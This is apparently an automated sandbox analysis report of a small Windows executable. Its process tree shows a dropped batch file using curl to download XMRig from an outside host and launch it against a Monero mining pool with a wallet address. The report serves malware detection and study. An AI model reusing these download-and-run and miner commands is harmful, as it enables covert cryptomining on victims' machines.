Resubmissions

13/03/2024, 08:45

240313-knsznahb2w 10

13/03/2024, 08:44

240313-knhtpaah68 10

13/03/2024, 08:44

240313-km8cysha9v 10

13/03/2024, 08:43

240313-kms82aah48 10

12/03/2024, 18:00

240312-wlevsshe86 10

12/03/2024, 17:57

240312-wjxylahe48 10

12/03/2024, 17:55

240312-whm21afc7t 10

12/03/2024, 17:54

240312-wg7p1sfc5y 10

12/03/2024, 17:53

240312-wgg5csfc3y 10

12/03/2024, 17:52

240312-wf31fahd58 10

Analysis

  • max time kernel
    456s
  • max time network
    463s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/03/2024, 17:57

General

  • Target

    test - Copy - Copy - Copy - Copy - Copy.exe

  • Size

    6KB

  • MD5

    4634098fe194204dc03f967cc0b19cd6

  • SHA1

    eaa58619c6cea9f148cec61ee504cd727b3e80d8

  • SHA256

    a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c

  • SHA512

    64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d

  • SSDEEP

    96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy - Copy - Copy.exe
    "C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy - Copy - Copy.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3052
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BVeN9SCZ.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4028
      • C:\Windows\system32\curl.exe
        curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
        3⤵
          PID:3672
        • C:\Windows\system32\tar.exe
          tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
          3⤵
            PID:4164
          • C:\xmrig\xmrig-6.21.1\xmrig.exe
            C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
            3⤵
            • Executes dropped EXE
            PID:3888

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\BVeN9SCZ.bat

        Filesize

        421B

        MD5

        67d11b392feb0ad59fc11ff3e79dfeee

        SHA1

        7df5785988cb76c4893773614572c93baaa18717

        SHA256

        69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

        SHA512

        50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

      • C:\xmrig\xmrig-6.21.1-gcc-win64.zip

        Filesize

        563KB

        MD5

        95632c908498bcb8ed922a2f6e96ca3a

        SHA1

        65d445c03528c2347ed61211967264109a81d3c5

        SHA256

        2b08e896a0830321af23481d578002a6d823c5f68d48560751ed640c7e0eb7c4

        SHA512

        a5d8388140ba8094d370c635130bc7bcde747ce5a64af02c431619e9a2f1aacb6e0cf1d91d56fddd08e51b97bf8b42f22faf92d37994803a1db0ce42828846bb

      • C:\xmrig\xmrig-6.21.1\xmrig.exe

        Filesize

        6.9MB

        MD5

        8775a2610cf3e31735a78c3646685f7e

        SHA1

        eeea7b69b533088eeac0f898eed7ecacd030f3ee

        SHA256

        b3e162630c593803fbbe83aa2d621592f711e649f46d525f2e466386a604b873

        SHA512

        0181bc1892cb38fbcc5fd6e834dc7117a442e61326f11b7cbd2d78bb25a1ca9e87aa400b8eeed932c424e05b6aca47fc22ceb9e0c78b14b71c02f1c5ebe15a05

      • memory/3052-0-0x00000000007B0000-0x00000000007B8000-memory.dmp

        Filesize

        32KB

      • memory/3052-3-0x00007FF9C7C00000-0x00007FF9C86C1000-memory.dmp

        Filesize

        10.8MB

      • memory/3052-7-0x00007FF9C7C00000-0x00007FF9C86C1000-memory.dmp

        Filesize

        10.8MB

      • memory/3052-23-0x00007FF9C7C00000-0x00007FF9C86C1000-memory.dmp

        Filesize

        10.8MB